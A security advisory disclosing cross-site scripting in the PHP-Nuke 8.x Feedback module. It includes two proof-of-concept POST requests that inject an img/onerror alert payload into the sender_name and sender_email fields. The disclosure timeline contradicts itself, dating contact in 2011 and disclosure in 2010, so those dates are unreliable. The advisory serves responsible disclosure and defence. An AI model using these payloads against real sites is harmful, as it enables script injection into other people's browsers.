PHP-Nuke 8.x <= Cross Site Scripting Vulnerability

1. OVERVIEW

The PHP-Nuke version 8.x and lower are vulnerable to Cross Site Scrtipting.


2. BACKGROUND

PHP-Nuke is a Web Portal System or content management system. The goal of PHP-Nuke is to have an automated web site to distribute news and articles with users system. Each user can submit comments to discuss the articles. Main features include: web based admin, surveys, top page, access stats page with counter, user customizable box, themes manager for registered users, friendly administration GUI with graphic topic manager, option to edit or delete stories, option to delete comments, moderation system, Referrers page to know who link us, sections manager, customizable HTML blocks, user and authors edit, an integrated Banners Ads system, search engine, backend/headlines generation (RSS/RDF format), and many, many more friendly functions. 


3. VULNERABILITY DESCRIPTION

The "sender_name" and the "sender_email" parameter are not properly sanitized upon submission to the /modules.php?name=Feedback, which allows attacker to conduct Cross Site Scripting attack. This may allow an attacker to create a specially crafted URL that would execute arbitrary script code in a victim's browser.


4. VERSIONS AFFECTED

8.0 and lower 

Tested version: 8.0
The paid versions, 8.1 and 9.0, of PHP-Nuke may be vulnerable as well.


5. PROOF-OF-CONCEPT/EXPLOIT

Parameter: sender_name

[REQUEST]
POST /phpnuke/modules.php?name=Feedback HTTP/1.1
Host: localhost
Referer: http://localhost/phpnuke/modules.php?name=Feedback

sender_name=%22%3E%3Cimg+src%3Dx+onerror%3Dalert%28%2FXSS%2F%29%3E&sender_email=&message=&opi=ds&submit=Send
[/REQUEST]

---------------------------------------------------------
Parameter: sender_email

[REQUEST]
POST /phpnuke/modules.php?name=Feedback HTTP/1.1
Host: localhost
Referer: http://localhost/phpnuke/modules.php?name=Feedback

sender_email=%22%3E%3Cimg+src%3Dx+onerror%3Dalert%28%2FXSS%2F%29%3E&sender_name=&message=&opi=ds&submit=Send
[/REQUEST]


6. SOLUTION

Not Available. 
Use of this product is NOT recommended because of long lack of update and vendor negligence about security reports.


7. VENDOR

PHP-Nuke Developers
http://phpnuke.org/


8. CREDIT

Aung Khant, http://yehg.net, YGN Ethical Hacker Group, Myanmar.


9. DISCLOSURE TIME-LINE

2011-01-01: contacted author through emails
2011-01-25: contacted author through web site contact form
2010-03-23: no replies from author
2010-03-23: vulnerability disclosed


10. REFERENCES

Original Advisory URL: http://yehg.net/lab/pr0js/advisories/[phpnuke-8.x]_cross_site_scripting
About PHP-Nuke: http://en.wikipedia.org/wiki/PHP-Nuke
php-Nuke 8.0: http://phpnuke.org/modules.php?name=Downloads&d_op=getit&lid=658
CWE-79: http://cwe.mitre.org/data/definitions/79.html



#yehg [2010-03-23]

keywords: php nuke, php-nuke, phpnuke, 8.0, 8.1,  xss

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